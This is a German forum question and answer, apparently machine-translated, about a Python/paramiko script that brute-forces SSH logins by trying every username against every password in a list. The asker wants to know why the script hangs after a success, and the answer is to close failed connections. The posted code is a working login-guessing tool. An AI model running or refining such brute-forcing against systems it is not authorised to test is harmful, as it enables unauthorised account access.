2016-03-21 12 views
0

Ich habe einen SSH-Server, dass ich ein Skript getestet habe, die Wörterbuch basierte Angriffe gegen durchführt. Im Allgemeinen verwende ich einen einzigen Benutzernamen: Passwort-Kombinationsdatei und Schleife durch, aber vor kurzem habe ich beschlossen, mein Hobby-Skript zu ändern, um separate Benutzernamen und Passwort-Kombinationen zu ermöglichen. Ich dachte, es wäre eine einfache Nested-Schleife (ich habe mich dafür entschieden, die Passwörter in einer Liste zu speichern, anstatt in einer Datei, die ich für die Benutzernamen verwende). Leider scheint das Hinzufügen dieses zweiten Loops dazu geführt zu haben, dass das Programm aus irgendeinem Grund hängen geblieben ist, den ich nicht genau lokalisieren kann. Ich fühle mich, als würde ich hier etwas unglaublich Offensichtliches vermissen. Das Programm läuft gut und funktioniert wie erwartet, aber es scheint nie wirklich zurückzukehren ... das Skript hängt einfach nach dem Finden der richtigen Kombination und wird nie richtig beendet ... Ich muss es manuell beenden. Der störende Block ist unter ... Dies ist Teil einer größeren Methode innerhalb einer Klasse, die ich von meinem primären Skript aus aufruft. Die Methode wird aufgerufen und dann wird das Hauptskript gerade beendet, so dass nichts da ist, was dies verursachen würde.Python-Skript scheint zu hängen

with open(self.pwds) as p: 
    pwords = p.read().splitlines() 
    try: 
     format_text = colored('WARNING', 'yellow', attrs=['underline']) 
    except: 
     format_text = "WARNING" 
    print (format_text, "warning_message") 
    with open(self.words) as w: 
     for line in w: 
      line = line.replace("\n", "") 
      user = line 
      for x in pwords: 
       passw = x 
       print ("Trying: ", user, ":", passw) 
       s = paramiko.SSHClient() 
       s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
       try: 
        s.connect(self.target, username=user, password=passw, timeout=3) 
       except paramiko.ssh_exception.AuthenticationException: 
        try: 
         format_text = colored('FAILED', 'red') 
        except: 
         format_text = 'FAILED' 
         print (format_text) 
       else: 
        print ("SUCCESS!") 
        s.close() 
        return; 
+0

Das einzige Szenario, das ich sehe, in denen die einzige return-Anweisung, die wir sehen würde, wenn 'self.words' oder' self.pwds' verweist auf eine leere Datei nicht ausgeführt werden soll. –

+0

Sie tun es nicht und tun es nie. Ich kratze mich wirklich am Kopf darüber, vor allem, weil es perfekt funktioniert und ohne die interne for-Schleife anmutig endet. –

+0

Versuchen Sie es mit pdb. Diese Frage hat leider nicht genügend Informationen, um sie beantworten zu können. –

Antwort

0

Vielen Dank für die Versuche dieses Problem zu lösen. Ich habe die Antwort gefunden. Ich musste die SSH-Verbindung schließen, selbst wenn sie fehlgeschlagen ist, wie unten angegeben.

   try: 
        s.connect(self.target, username=user, password=passw, timeout=3) 
       except paramiko.ssh_exception.AuthenticationException: 
        try: 
         format_text = colored('FAILED', 'red') 
        except: 
         format_text = 'FAILED' 
         print (format_text) 
         s.close() 
       else: 
        print ("SUCCESS!") 
        s.close() 
        return; 
Verwandte Themen